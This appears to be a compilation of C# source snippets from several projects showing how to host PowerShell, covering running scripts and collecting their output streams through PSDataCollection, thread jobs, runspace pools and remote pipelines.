private static ActionResult InvokePowershell(CertificateRequestResult result, string executionPolicy, string scriptFile, Dictionary <string, object> parameters, string scriptContent, PowerShell shell, bool autoConvertBoolean = true, string[] ignoredCommandExceptions = null, int timeoutMinutes = 5) { // ensure execution policy will allow the script to run, default to system default, default policy is set in service config object // option to set execution policy as a parameter at task level if (parameters?.Any(p => p.Key.ToLower() == "executionpolicy") == true) { executionPolicy = parameters.FirstOrDefault(p => p.Key.ToLower() == "executionpolicy").Value?.ToString(); } if (!string.IsNullOrEmpty(executionPolicy)) { shell.AddCommand("Set-ExecutionPolicy") .AddParameter("ExecutionPolicy", executionPolicy) .AddParameter("Scope", "Process") .AddParameter("Force") .Invoke(); } // add script command to invoke if (scriptFile != null) { shell.AddCommand(scriptFile); } else { shell.AddScript(scriptContent); } // pass the result to the script if present if (result != null) { shell.AddParameter("result", result); } // pass parameters to script if present if (parameters != null) { foreach (var a in parameters) { var val = a.Value; if (autoConvertBoolean) { if (val != null && val?.ToString().ToLower() == "true") { val = true; } else if (val != null && val?.ToString().ToLower() == "false") { val = false; } } shell.AddParameter(a.Key, val); } } var errors = new List <string>(); // accumulate output var output = new StringBuilder(); // capture errors if (ignoredCommandExceptions == null) { ignoredCommandExceptions = new string[] { }; } shell.Streams.Error.DataAdded += (sender, args) => { var error = shell.Streams.Error[args.Index]; var src = error.InvocationInfo.MyCommand?.ToString() ?? error.InvocationInfo.InvocationName; var msg = $"{src}: {error}\n{error.InvocationInfo.PositionMessage}"; if (!ignoredCommandExceptions.Contains(error.InvocationInfo.MyCommand?.Name)) { errors.Add(msg); } }; // capture write-* methods (except write-host) // TODO: one of these streams may be causing ssh hang when ssh spawned as part of script.. shell.Streams.Warning.DataAdded += (sender, args) => output.AppendLine(shell.Streams.Warning[args.Index].Message); shell.Streams.Debug.DataAdded += (sender, args) => output.AppendLine(shell.Streams.Debug[args.Index].Message); shell.Streams.Verbose.DataAdded += (sender, args) => output.AppendLine(shell.Streams.Verbose[args.Index].Message); var outputData = new PSDataCollection <PSObject>(); outputData.DataAdded += (sender, args) => { // capture all main output var data = outputData[args.Index]?.BaseObject; if (data != null) { output.AppendLine(data.ToString()); } }; try { var async = shell.BeginInvoke <PSObject, PSObject>(null, outputData); var maxWait = 60 * timeoutMinutes; // N min timeout var currentWait = 0; var pollSeconds = 5; bool timeoutOccurred = false; while (!timeoutOccurred && !async.AsyncWaitHandle.WaitOne(pollSeconds * 1000, false)) { // poll while async task is still running currentWait += pollSeconds; if (currentWait <= maxWait) { output.AppendLine($"Waiting for powershell to complete..{currentWait}s"); } else { output.AppendLine($"Timeout waiting for powershell to complete ({currentWait}s)"); errors.Add($"Script did not complete in the required time. ({maxWait}s)"); timeoutOccurred = true; } } try { if (async.IsCompleted) { shell.EndInvoke(async); output.AppendLine($"Powershell Task Completed."); } } catch (System.Management.Automation.RuntimeException ex) { errors.Add($"{ex.ErrorRecord} {ex.ErrorRecord.ScriptStackTrace}"); } catch (Exception ex) { errors.Add($"Script invoke failed: {ex}"); } if (errors.Any()) { foreach (var e in errors) { output.AppendLine("Error: " + e); } } return(new ActionResult(output.ToString().TrimEnd('\n'), !errors.Any())); } catch (ParseException ex) { // this should only happen in case of script syntax errors, otherwise // errors would be output via the invoke's error stream output.AppendLine($"{ex.Message}"); return(new ActionResult(output.ToString().TrimEnd('\n'), false)); } }
/// <summary> /// GetExternalRecord: Get external rules in parallel using RunspacePool and run each rule in its own runspace. /// </summary> /// <param name="ast"></param> /// <param name="token"></param> /// <param name="rules"></param> /// <param name="command"></param> /// <param name="filePath"></param> /// <returns></returns> public IEnumerable <DiagnosticRecord> GetExternalRecord(Ast ast, Token[] token, ExternalRule[] rules, InvokeScriptAnalyzerCommand command, string filePath) { // Defines InitialSessionState. InitialSessionState state = InitialSessionState.CreateDefault2(); // Groups rules by module paths and imports them. Dictionary <string, List <ExternalRule> > modules = rules .GroupBy <ExternalRule, string>(item => item.GetFullModulePath()) .ToDictionary(item => item.Key, item => item.ToList()); state.ImportPSModule(modules.Keys.ToArray <string>()); // Creates and opens RunspacePool RunspacePool rsp = RunspaceFactory.CreateRunspacePool(state); rsp.SetMinRunspaces(1); rsp.SetMaxRunspaces(5); rsp.Open(); // Groups rules by AstType and Tokens. Dictionary <string, List <ExternalRule> > astRuleGroups = rules .Where <ExternalRule>(item => item.GetParameter().EndsWith("ast", StringComparison.OrdinalIgnoreCase)) .GroupBy <ExternalRule, string>(item => item.GetParameterType()) .ToDictionary(item => item.Key, item => item.ToList()); Dictionary <string, List <ExternalRule> > tokenRuleGroups = rules .Where <ExternalRule>(item => item.GetParameter().EndsWith("token", StringComparison.OrdinalIgnoreCase)) .GroupBy <ExternalRule, string>(item => item.GetParameterType()) .ToDictionary(item => item.Key, item => item.ToList()); using (rsp) { // Defines the commands to be run. List <System.Management.Automation.PowerShell> powerShellCommands = new List <System.Management.Automation.PowerShell>(); // Defines the command results. List <IAsyncResult> powerShellCommandResults = new List <IAsyncResult>(); #region Builds and invokes commands list foreach (KeyValuePair <string, List <ExternalRule> > tokenRuleGroup in tokenRuleGroups) { foreach (IExternalRule rule in tokenRuleGroup.Value) { System.Management.Automation.PowerShell posh = System.Management.Automation.PowerShell.Create(); posh.RunspacePool = rsp; // Adds command to run external analyzer rule, like // Measure-CurlyBracket -ScriptBlockAst $ScriptBlockAst // Adds module name (source name) to handle ducplicate function names in different modules. string ruleName = string.Format("{0}\\{1}", rule.GetSourceName(), rule.GetName()); posh.Commands.AddCommand(ruleName); posh.Commands.AddParameter(rule.GetParameter(), token); // Merges results because external analyzer rules may throw exceptions. posh.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); powerShellCommands.Add(posh); powerShellCommandResults.Add(posh.BeginInvoke()); } } foreach (KeyValuePair <string, List <ExternalRule> > astRuleGroup in astRuleGroups) { // Find all AstTypes that appeared in rule groups. IEnumerable <Ast> childAsts = ast.FindAll(new Func <Ast, bool>((testAst) => (astRuleGroup.Key.IndexOf(testAst.GetType().FullName, StringComparison.OrdinalIgnoreCase) != -1)), false); foreach (Ast childAst in childAsts) { foreach (IExternalRule rule in astRuleGroup.Value) { System.Management.Automation.PowerShell posh = System.Management.Automation.PowerShell.Create(); posh.RunspacePool = rsp; // Adds command to run external analyzer rule, like // Measure-CurlyBracket -ScriptBlockAst $ScriptBlockAst // Adds module name (source name) to handle ducplicate function names in different modules. string ruleName = string.Format("{0}\\{1}", rule.GetSourceName(), rule.GetName()); posh.Commands.AddCommand(ruleName); posh.Commands.AddParameter(rule.GetParameter(), childAst); // Merges results because external analyzer rules may throw exceptions. posh.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); powerShellCommands.Add(posh); powerShellCommandResults.Add(posh.BeginInvoke()); } } } #endregion #region Collects the results from commands. List <DiagnosticRecord> diagnostics = new List <DiagnosticRecord>(); try { for (int i = 0; i < powerShellCommands.Count; i++) { // EndInvoke will wait for each command to finish, so we will be getting the commands // in the same order that they have been invoked withy BeginInvoke. PSDataCollection <PSObject> psobjects = powerShellCommands[i].EndInvoke(powerShellCommandResults[i]); foreach (var psobject in psobjects) { DiagnosticSeverity severity; IScriptExtent extent; string message = string.Empty; string ruleName = string.Empty; if (psobject != null && psobject.ImmediateBaseObject != null) { // Because error stream is merged to output stream, // we need to handle the error records. if (psobject.ImmediateBaseObject is ErrorRecord) { ErrorRecord record = (ErrorRecord)psobject.ImmediateBaseObject; command.WriteError(record); continue; } // DiagnosticRecord may not be correctly returned from external rule. try { Enum.TryParse <DiagnosticSeverity>(psobject.Properties["Severity"].Value.ToString().ToUpper(), out severity); message = psobject.Properties["Message"].Value.ToString(); extent = (IScriptExtent)psobject.Properties["Extent"].Value; ruleName = psobject.Properties["RuleName"].Value.ToString(); } catch (Exception ex) { command.WriteError(new ErrorRecord(ex, ex.HResult.ToString("X"), ErrorCategory.NotSpecified, this)); continue; } if (!string.IsNullOrEmpty(message)) { diagnostics.Add(new DiagnosticRecord(message, extent, ruleName, severity, null)); } } } } } //Catch exception where customized defined rules have exceptins when doing invoke catch (Exception ex) { command.WriteError(new ErrorRecord(ex, ex.HResult.ToString("X"), ErrorCategory.NotSpecified, this)); } return(diagnostics); #endregion } }
PutExportEntriesResults IMAExtensible2CallExport.PutExportEntries(IList <CSEntryChange> csentries) { Tracer.Enter("putexportentries"); Tracer.Indent(); PutExportEntriesResults exportEntries = new PutExportEntriesResults(); PSDataCollection <PSObject> exportPipeline = new PSDataCollection <PSObject>(); try { Command cmd = new Command(Path.GetFullPath(ExportScript)); cmd.Parameters.Add(new CommandParameter("User", Username)); cmd.Parameters.Add(new CommandParameter("Password", Password)); cmd.Parameters.Add(new CommandParameter("Credentials", GetSecureCredentials())); cmd.Parameters.Add(new CommandParameter("ExportType", exportType)); foreach (CSEntryChange csentryChange in csentries) { Tracer.TraceInformation("adding-object id: {0}, dn: '{1}' [{2}]", csentryChange.Identifier, csentryChange.DN, csentryChange.ObjectModificationType); if (ExportSimpleObjects) { // http://karlprosser.com/coder/2008/06/12/generating-a-propertybag-aka-pscustomobject-in-c/ // creating a PSobject without any parameters in the constructor creates a PSCustomObject PSObject obj = new PSObject(); // PSNoteProperties are not strongly typed but do contain an explicit type. obj.Properties.Add(new PSNoteProperty(Constants.ControlValues.Identifier, csentryChange.Identifier.ToString())); obj.Properties.Add(new PSNoteProperty(Constants.ControlValues.Anchor, csentryChange.AnchorAttributes.Count > 0 ? csentryChange.AnchorAttributes.FirstOrDefault().Value : "")); obj.Properties.Add(new PSAliasProperty(Constants.ControlValues.IdentifierAsGuid, csentryChange.Identifier.ToString(), typeof(Guid))); obj.Properties.Add(new PSNoteProperty(Constants.ControlValues.ObjectModificationType, csentryChange.ObjectModificationType.ToString())); obj.Properties.Add(new PSNoteProperty(Constants.ControlValues.ObjectType, csentryChange.ObjectType)); List <string> attrs = schema.Types[csentryChange.ObjectType].Attributes.Select(a => a.Name).ToList <string>(); obj.Properties.Add(new PSNoteProperty(Constants.ControlValues.AttributeNames, attrs)); obj.Properties.Add(new PSNoteProperty(Constants.ControlValues.ChangedAttributeNames, csentryChange.ChangedAttributeNames == null ? new List <string>() : csentryChange.ChangedAttributeNames)); obj.Properties.Add(new PSNoteProperty(Constants.ControlValues.DN, csentryChange.DN)); obj.Properties.Add(new PSNoteProperty(Constants.ControlValues.RDN, csentryChange.RDN)); foreach (AttributeChange ac in csentryChange.AttributeChanges) { if (!ac.IsMultiValued) { foreach (ValueChange vc in ac.ValueChanges) { obj.Properties.Add(new PSNoteProperty(string.Format("{0}", ac.Name), vc.Value)); } } else { List <object> values = new List <object>(); foreach (ValueChange vc in ac.ValueChanges) { values.Add(vc.Value); } obj.Properties.Add(new PSNoteProperty(string.Format("{0}", ac.Name), values.ToArray())); } } exportPipeline.Add(obj); } else { exportPipeline.Add(new PSObject(csentryChange)); } } exportResults = InvokePowerShellScript(cmd, exportPipeline); if (exportResults != null) { foreach (PSObject result in exportResults) { if (result.BaseObject.GetType() != typeof(System.Collections.Hashtable)) { continue; } Hashtable hashTable = (Hashtable)result.BaseObject; string ErrorName = "unspecified-error"; string ErrorDetail = "No details specified"; Guid identifier = new Guid(); // get anchor attribute changes List <AttributeChange> attrchanges = new List <AttributeChange>(); foreach (string key in hashTable.Keys) { if (key.Equals(Constants.ControlValues.Identifier, StringComparison.OrdinalIgnoreCase)) { try { identifier = new Guid(hashTable[key].ToString()); Tracer.TraceInformation("got-identifier {0}, {1}", identifier, key); } catch (FormatException fex) { Tracer.TraceError("identifier-format-error '{0}'", fex.ToString()); } continue; } if (key.Equals(Constants.ControlValues.ErrorName, StringComparison.OrdinalIgnoreCase)) { ErrorName = hashTable[key].ToString(); Tracer.TraceInformation("got-errorname {0}, {1}", ErrorName, key); continue; } if (key.Equals(Constants.ControlValues.ErrorDetail, StringComparison.OrdinalIgnoreCase)) { ErrorDetail = hashTable[key].ToString(); Tracer.TraceInformation("got-errordetail {0}, {1}", ErrorDetail, key); continue; } if (!(Regex.IsMatch(key, @"^\[.+\]$", RegexOptions.IgnoreCase))) { Tracer.TraceInformation("got-attribute-change {0}: '{1}'", key, hashTable[key]); attrchanges.Add(AttributeChange.CreateAttributeAdd(key, hashTable[key])); continue; } } if (string.IsNullOrEmpty(ErrorName) || ErrorName.Equals("success", StringComparison.OrdinalIgnoreCase)) { Tracer.TraceInformation("returning-success id: {0}", identifier); CSEntryChangeResult cschangeresult = CSEntryChangeResult.Create(identifier, attrchanges, MAExportError.Success); exportEntries.CSEntryChangeResults.Add(cschangeresult); } else { Tracer.TraceInformation("returning-error id: {0}, name: {1}, details: {2}", identifier, ErrorName, ErrorDetail); CSEntryChangeResult cschangeresult = CSEntryChangeResult.Create(identifier, attrchanges, MAExportError.ExportErrorCustomContinueRun, ErrorName, ErrorDetail); exportEntries.CSEntryChangeResults.Add(cschangeresult); } } } exportPipeline.Clear(); exportResults.Clear(); exportResults = null; return(exportEntries); } catch (Exception ex) { Tracer.TraceError("putexportentries", ex); throw; } finally { Tracer.Unindent(); Tracer.Exit("putexportentries"); } }
/// <summary> /// New job. /// </summary> /// <remarks> /// Keep seconds for UI-less jobs: 0 ~ hidden mode, in this case a job creates UI on errors, as it is not attended. /// Other UI-less jobs are completely owned creators. /// </remarks> internal Job(JobCommand command, object parameters, string name, bool ui, int keepSeconds) { JobCommand = command; Parameters = parameters; Name = name; KeepSeconds = keepSeconds; // create/open runspace //! *) Do not catch, if we fail, we fail and there is nothing to repair yet (not open) //! *) Use existing configuration, it is faster! Most of *-Far* cmdlets should not be used, //! but some of them can be used, e.g. Update-FarDescription; also we want to use ETS types, //! e.g. FarDescription property. if (ui) { JobUI = new JobUI(); Runspace = RunspaceFactory.CreateRunspace(new FarHost(JobUI), Runspace.DefaultRunspace.InitialSessionState); } else { //! DefaultHost is created internally. Perhaps it is reasonable to live with it, not with a custom host. Runspace = RunspaceFactory.CreateRunspace(Runspace.DefaultRunspace.InitialSessionState); } Runspace.Open(); // new shell with the command PowerShell = PowerShell.Create(); PowerShell.Runspace = Runspace; JobCommand.Add(PowerShell); // add command parameters if (parameters != null) { IDictionary namedParameters = parameters as IDictionary; IList argumentList; if (namedParameters != null) PowerShell.AddParameters(namedParameters); else if ((argumentList = parameters as IList) != null) PowerShell.AddParameters(argumentList); else PowerShell.AddParameters(new object[] { parameters }); } // UI: Write all output, including errors. if (JobUI != null) { PowerShell.Commands.AddCommand(A.OutHostCommand); } // Hidden: Write output to "Out-Null" to avoid memory use. else if (keepSeconds <= 0) { //! User can use his Out-Null PowerShell.AddCommand("Out-Null"); } // Output: create it once: it is cumulative else { Output = new PSDataCollection<PSObject>(); } }
/// <summary> /// Constructor. /// </summary> /// <param name="name"></param> /// <param name="command"></param> /// <param name="sb"></param> /// <param name="filePath"></param> /// <param name="initSb"></param> /// <param name="argumentList"></param> /// <param name="inputObject"></param> /// <param name="psCmdlet"></param> /// <param name="currentLocationPath"></param> /// <param name="streamingHost"></param> public ThreadJob( string name, string command, ScriptBlock sb, string filePath, ScriptBlock initSb, object[] argumentList, PSObject inputObject, PSCmdlet psCmdlet, string currentLocationPath, PSHost streamingHost) : base(command, name) { _sb = sb; _filePath = filePath; _initSb = initSb; _argumentList = argumentList; _input = new PSDataCollection <object>(); if (inputObject != null) { _input.Add(inputObject); } _output = new PSDataCollection <PSObject>(); _streamingHost = streamingHost; _currentLocationPath = currentLocationPath; this.PSJobTypeName = "ThreadJob"; // Get script block to run. if (!string.IsNullOrEmpty(_filePath)) { _sb = GetScriptBlockFromFile(_filePath, psCmdlet); if (_sb == null) { throw new InvalidOperationException(Properties.Resources.CannotParseScriptFile); } } else if (_sb == null) { throw new PSArgumentNullException(Properties.Resources.NoScriptToRun); } // Create Runspace/PowerShell object and state callback. // The job script/command will run in a separate thread associated with the Runspace. var iss = InitialSessionState.CreateDefault2(); // Determine session language mode for Windows platforms WarningRecord lockdownWarning = null; if (Environment.OSVersion.Platform.ToString().Equals("Win32NT", StringComparison.OrdinalIgnoreCase)) { bool enforceLockdown = (SystemPolicy.GetSystemLockdownPolicy() == SystemEnforcementMode.Enforce); if (enforceLockdown && !string.IsNullOrEmpty(_filePath)) { // If script source is a file, check to see if it is trusted by the lock down policy enforceLockdown = (SystemPolicy.GetLockdownPolicy(_filePath, null) == SystemEnforcementMode.Enforce); if (!enforceLockdown && (_initSb != null)) { // Even if the script file is trusted, an initialization script cannot be trusted, so we have to enforce // lock down. Otherwise untrusted script could be run in FullLanguage mode along with the trusted file script. enforceLockdown = true; lockdownWarning = new WarningRecord( string.Format( CultureInfo.InvariantCulture, Properties.Resources.CannotRunTrustedFileInFL, _filePath)); } } iss.LanguageMode = enforceLockdown ? PSLanguageMode.ConstrainedLanguage : PSLanguageMode.FullLanguage; } if (_streamingHost != null) { _rs = RunspaceFactory.CreateRunspace(_streamingHost, iss); } else { _rs = RunspaceFactory.CreateRunspace(iss); } _ps = PowerShell.Create(); _ps.Runspace = _rs; _ps.InvocationStateChanged += (sender, psStateChanged) => { var newStateInfo = psStateChanged.InvocationStateInfo; // Update Job state. switch (newStateInfo.State) { case PSInvocationState.Running: SetJobState(JobState.Running); break; case PSInvocationState.Stopped: SetJobState(JobState.Stopped, newStateInfo.Reason, disposeRunspace: true); break; case PSInvocationState.Failed: SetJobState(JobState.Failed, newStateInfo.Reason, disposeRunspace: true); break; case PSInvocationState.Completed: if (_runningInitScript) { // Begin running main script. _runningInitScript = false; RunScript(); } else { SetJobState(JobState.Completed, newStateInfo.Reason, disposeRunspace: true); } break; } }; // Get any using variables. var usingAsts = _sb.Ast.FindAll(ast => ast is UsingExpressionAst, searchNestedScriptBlocks: true).Cast <UsingExpressionAst>(); if (usingAsts != null && usingAsts.FirstOrDefault() != null) { // Get using variables as dictionary, since we now only support PowerShell version 5.1 and greater _usingValuesMap = GetUsingValuesAsDictionary(usingAsts, psCmdlet); } // Hook up data streams. this.Output = _output; this.Output.EnumeratorNeverBlocks = true; this.Error = _ps.Streams.Error; this.Error.EnumeratorNeverBlocks = true; this.Progress = _ps.Streams.Progress; this.Progress.EnumeratorNeverBlocks = true; this.Verbose = _ps.Streams.Verbose; this.Verbose.EnumeratorNeverBlocks = true; this.Warning = _ps.Streams.Warning; this.Warning.EnumeratorNeverBlocks = true; if (lockdownWarning != null) { this.Warning.Add(lockdownWarning); } this.Debug = _ps.Streams.Debug; this.Debug.EnumeratorNeverBlocks = true; this.Information = _ps.Streams.Information; this.Information.EnumeratorNeverBlocks = true; // Create the JobManager job definition and job specification, and add to the JobManager. ThreadJobDefinition = new JobDefinition(typeof(ThreadJobSourceAdapter), "", Name); Dictionary <string, object> parameterCollection = new Dictionary <string, object>(); parameterCollection.Add("NewJob", this); var jobSpecification = new JobInvocationInfo(ThreadJobDefinition, parameterCollection); var newJob = psCmdlet.JobManager.NewJob(jobSpecification); System.Diagnostics.Debug.Assert(newJob == this, "JobManager must return this job"); }
internal void RunPowerShellInActivityHost(System.Management.Automation.PowerShell powershell, PSDataCollection<PSObject> input, PSDataCollection<PSObject> output, PSActivityEnvironment policy, ConnectionAsyncResult asyncResult) { ActivityInvoker invoker = new ActivityInvoker { Input = input, Output = output, Policy = policy, PowerShell = powershell, AsyncResult = asyncResult }; _requests.Enqueue(invoker); CheckAndStartServicingThread(); }
/// <summary> /// Constructor. /// </summary> /// <param name="name"></param> /// <param name="command"></param> /// <param name="sb"></param> /// <param name="filePath"></param> /// <param name="initSb"></param> /// <param name="argumentList"></param> /// <param name="inputObject"></param> /// <param name="psCmdlet"></param> public ThreadJob( string name, string command, ScriptBlock sb, string filePath, ScriptBlock initSb, object[] argumentList, PSObject inputObject, PSCmdlet psCmdlet) : base(command, name) { _sb = sb; _filePath = filePath; _initSb = initSb; _argumentList = argumentList; _input = new PSDataCollection <object>(); if (inputObject != null) { _input.Add(inputObject); } _output = new PSDataCollection <PSObject>(); this.PSJobTypeName = "ThreadJob"; // Create host object for thread jobs. ThreadJobHost host = new ThreadJobHost(); HookupHostDataDelegates(host); // Create Runspace/PowerShell object and state callback. // The job script/command will run in a separate thread associated with the Runspace. var iss = InitialSessionState.CreateDefault2(); if (Environment.OSVersion.Platform.ToString().Equals("Win32NT", StringComparison.OrdinalIgnoreCase)) { iss.LanguageMode = (SystemPolicy.GetSystemLockdownPolicy() == SystemEnforcementMode.Enforce) ? PSLanguageMode.ConstrainedLanguage : PSLanguageMode.FullLanguage; } _rs = RunspaceFactory.CreateRunspace(host, iss); _ps = PowerShell.Create(); _ps.Runspace = _rs; _ps.InvocationStateChanged += (sender, psStateChanged) => { var newStateInfo = psStateChanged.InvocationStateInfo; // Update Job state. switch (newStateInfo.State) { case PSInvocationState.Running: SetJobState(JobState.Running); break; case PSInvocationState.Stopped: SetJobState(JobState.Stopped, newStateInfo.Reason, disposeRunspace: true); break; case PSInvocationState.Failed: SetJobState(JobState.Failed, newStateInfo.Reason, disposeRunspace: true); break; case PSInvocationState.Completed: if (_runningInitScript) { // Begin running main script. _runningInitScript = false; RunScript(); } else { SetJobState(JobState.Completed, newStateInfo.Reason, disposeRunspace: true); } break; } }; // Get script block to run. if (!string.IsNullOrEmpty(_filePath)) { _sb = GetScriptBlockFromFile(_filePath, psCmdlet); if (_sb == null) { throw new InvalidOperationException(Properties.Resources.ResourceManager.GetString("CannotParseScriptFile")); } } else if (_sb == null) { throw new PSArgumentNullException(Properties.Resources.ResourceManager.GetString("NoScriptToRun")); } // Get any using variables. var usingAsts = _sb.Ast.FindAll(ast => ast is UsingExpressionAst, searchNestedScriptBlocks: true).Cast <UsingExpressionAst>(); if (usingAsts != null && usingAsts.FirstOrDefault() != null) { // Get using variables as an array or dictionary, depending on PowerShell version. if (psCmdlet.Host.Version.Major >= 5) { _usingValuesMap = GetUsingValuesAsDictionary(usingAsts, psCmdlet); } else if (psCmdlet.Host.Version.Major == 3 || psCmdlet.Host.Version.Major == 4) { _usingValuesArray = GetUsingValuesAsArray(usingAsts, psCmdlet); } } // Hook up data streams. this.Output = _output; this.Output.EnumeratorNeverBlocks = true; this.Error = _ps.Streams.Error; this.Error.EnumeratorNeverBlocks = true; this.Progress = _ps.Streams.Progress; this.Progress.EnumeratorNeverBlocks = true; this.Verbose = _ps.Streams.Verbose; this.Verbose.EnumeratorNeverBlocks = true; this.Warning = _ps.Streams.Warning; this.Warning.EnumeratorNeverBlocks = true; this.Debug = _ps.Streams.Debug; this.Debug.EnumeratorNeverBlocks = true; // Create the JobManager job definition and job specification, and add to the JobManager. ThreadJobDefinition = new JobDefinition(typeof(ThreadJobSourceAdapter), "", Name); Dictionary <string, object> parameterCollection = new Dictionary <string, object>(); parameterCollection.Add("NewJob", this); var jobSpecification = new JobInvocationInfo(ThreadJobDefinition, parameterCollection); var newJob = psCmdlet.JobManager.NewJob(jobSpecification); System.Diagnostics.Debug.Assert(newJob == this, "JobManager must return this job"); }
/// <summary> /// Constructor /// </summary> public ThreadJobHostUI() { _output = new PSDataCollection <PSObject>(); _error = new PSDataCollection <ErrorRecord>(); }
private static ActionResult InvokePowershell(CertificateRequestResult result, string executionPolicy, string scriptFile, Dictionary <string, object> parameters, string scriptContent, PowerShell shell) { // ensure execution policy will allow the script to run, default to "Unrestricted", set in service config as "Default" to skip. if (executionPolicy != "Default") { shell.AddCommand("Set-ExecutionPolicy") .AddParameter("ExecutionPolicy", executionPolicy) .AddParameter("Scope", "Process") .AddParameter("Force") .Invoke(); } // add script command to invoke if (scriptFile != null) { shell.AddCommand(scriptFile); } else { shell.AddScript(scriptContent); } // pass the result to the script if present if (result != null) { shell.AddParameter("result", result); } // pass parameters to script if present if (parameters != null) { foreach (var a in parameters) { shell.AddParameter(a.Key, a.Value); } } var errors = new List <string>(); // accumulate output var output = new StringBuilder(); // capture errors shell.Streams.Error.DataAdded += (sender, args) => { var error = shell.Streams.Error[args.Index]; var src = error.InvocationInfo.MyCommand?.ToString() ?? error.InvocationInfo.InvocationName; var msg = $"{src}: {error}\n{error.InvocationInfo.PositionMessage}"; output.AppendLine(msg); errors.Add(msg); }; // capture write-* methods (except write-host) shell.Streams.Warning.DataAdded += (sender, args) => output.AppendLine(shell.Streams.Warning[args.Index].Message); shell.Streams.Debug.DataAdded += (sender, args) => output.AppendLine(shell.Streams.Debug[args.Index].Message); shell.Streams.Verbose.DataAdded += (sender, args) => output.AppendLine(shell.Streams.Verbose[args.Index].Message); var outputData = new PSDataCollection <PSObject>(); outputData.DataAdded += (sender, args) => { // capture all main output var data = outputData[args.Index]?.BaseObject; if (data != null) { output.AppendLine(data.ToString()); } }; try { var async = shell.BeginInvoke <PSObject, PSObject>(null, outputData); shell.EndInvoke(async); return(new ActionResult(output.ToString().TrimEnd('\n'), !errors.Any())); } catch (ParseException ex) { // this should only happen in case of script syntax errors, otherwise // errors would be output via the invoke's error stream output.AppendLine($"{ex.Message}"); return(new ActionResult(output.ToString().TrimEnd('\n'), false)); } }
/// <summary> /// Override inside a safe lock /// </summary> /// <param name="remoteRunspace">runspace to override</param> /// <param name="syncObject">object to use in synchronization</param> /// <param name="isRunspacePushed">set is runspace pushed</param> internal void Override(RemoteRunspace remoteRunspace, object syncObject, out bool isRunspacePushed) { lock (_localSyncObject) { _stopInvoke = false; } try { if (syncObject != null) { lock (syncObject) { _runspaceRef.Override(remoteRunspace); isRunspacePushed = true; } } else { _runspaceRef.Override(remoteRunspace); isRunspacePushed = true; } if ((remoteRunspace.GetCurrentlyRunningPipeline() != null)) { // Don't execute command if pushed runspace is already running one. return; } using (PowerShell powerShell = PowerShell.Create()) { powerShell.AddCommand("Get-Command"); powerShell.AddParameter("Name", new string[] { "Out-Default", "Exit-PSSession" }); powerShell.Runspace = _runspaceRef.Value; bool isReleaseCandidateBackcompatibilityMode = _runspaceRef.Value.GetRemoteProtocolVersion() == RemotingConstants.ProtocolVersionWin7RC; powerShell.IsGetCommandMetadataSpecialPipeline = !isReleaseCandidateBackcompatibilityMode; int expectedNumberOfResults = isReleaseCandidateBackcompatibilityMode ? 2 : 3; powerShell.RemotePowerShell.HostCallReceived += new EventHandler<RemoteDataEventArgs<RemoteHostCall>>(HandleHostCall); IAsyncResult asyncResult = powerShell.BeginInvoke(); PSDataCollection<PSObject> results = new PSDataCollection<PSObject>(); while (!_stopInvoke) { asyncResult.AsyncWaitHandle.WaitOne(1000); if (asyncResult.IsCompleted) { results = powerShell.EndInvoke(asyncResult); break; } } if (powerShell.Streams.Error.Count > 0 || results.Count < expectedNumberOfResults) { throw RemoteHostExceptions.NewRemoteRunspaceDoesNotSupportPushRunspaceException(); } } } catch (Exception) { _runspaceRef.Revert(); isRunspacePushed = false; throw; } }
protected virtual Task <InvocationResult> HandleResult(PSDataCollection <PSObject> p_results) { return(Task.Run(() => this.OutString(p_results))); }
/// <summary> /// Create pipeline. /// </summary> internal Pipeline CreatePipeline(string line, bool addToHistory, bool useNestedPipelines) { // This method allows input commands to work against no-language runspaces. If a runspace // is pushed, it tries to parse the line using a ScriptBlock object. If a runspace is not // pushed, or if the parsing fails, in these cases it reverts to calling CreatePipeline // using the unparsed line. Pipeline pipeline = null; // In Start-PSSession scenario try to create a pipeline by parsing the line as a script block. if (this.IsRunspaceOverridden) { // Win8: exit should work to escape from the restrictive session if ((_runspaceRef.Value is RemoteRunspace) && (!string.IsNullOrEmpty(line) && string.Equals(line.Trim(), "exit", StringComparison.OrdinalIgnoreCase))) { line = "Exit-PSSession"; } PSCommand psCommand = ParsePsCommandUsingScriptBlock(line, null); if (psCommand != null) { pipeline = useNestedPipelines ? _runspaceRef.Value.CreateNestedPipeline(psCommand.Commands[0].CommandText, addToHistory) : _runspaceRef.Value.CreatePipeline(psCommand.Commands[0].CommandText, addToHistory); pipeline.Commands.Clear(); foreach (Command command in psCommand.Commands) { pipeline.Commands.Add(command); } } } // If that didn't work out fall-back to the traditional approach. if (pipeline == null) { pipeline = useNestedPipelines ? _runspaceRef.Value.CreateNestedPipeline(line, addToHistory) : _runspaceRef.Value.CreatePipeline(line, addToHistory); } // Add robust connection callback if this is a pushed runspace. RemotePipeline remotePipeline = pipeline as RemotePipeline; if (this.IsRunspaceOverridden && remotePipeline != null) { PowerShell shell = remotePipeline.PowerShell; if (shell.RemotePowerShell != null) { shell.RemotePowerShell.RCConnectionNotification += new EventHandler <PSConnectionRetryStatusEventArgs>(HandleRCConnectionNotification); } // Add callback to write robust connection errors from stream. shell.ErrorBuffer.DataAdded += (sender, eventArgs) => { RemoteRunspace remoteRunspace = _runspaceRef.Value as RemoteRunspace; PSDataCollection <ErrorRecord> erBuffer = sender as PSDataCollection <ErrorRecord>; if (remoteRunspace != null && erBuffer != null && remoteRunspace.RunspacePool.RemoteRunspacePoolInternal.Host != null) { Collection <ErrorRecord> erRecords = erBuffer.ReadAll(); foreach (var er in erRecords) { remoteRunspace.RunspacePool.RemoteRunspacePoolInternal.Host.UI.WriteErrorLine(er.ToString()); } } }; } pipeline.SetHistoryString(line); return(pipeline); }
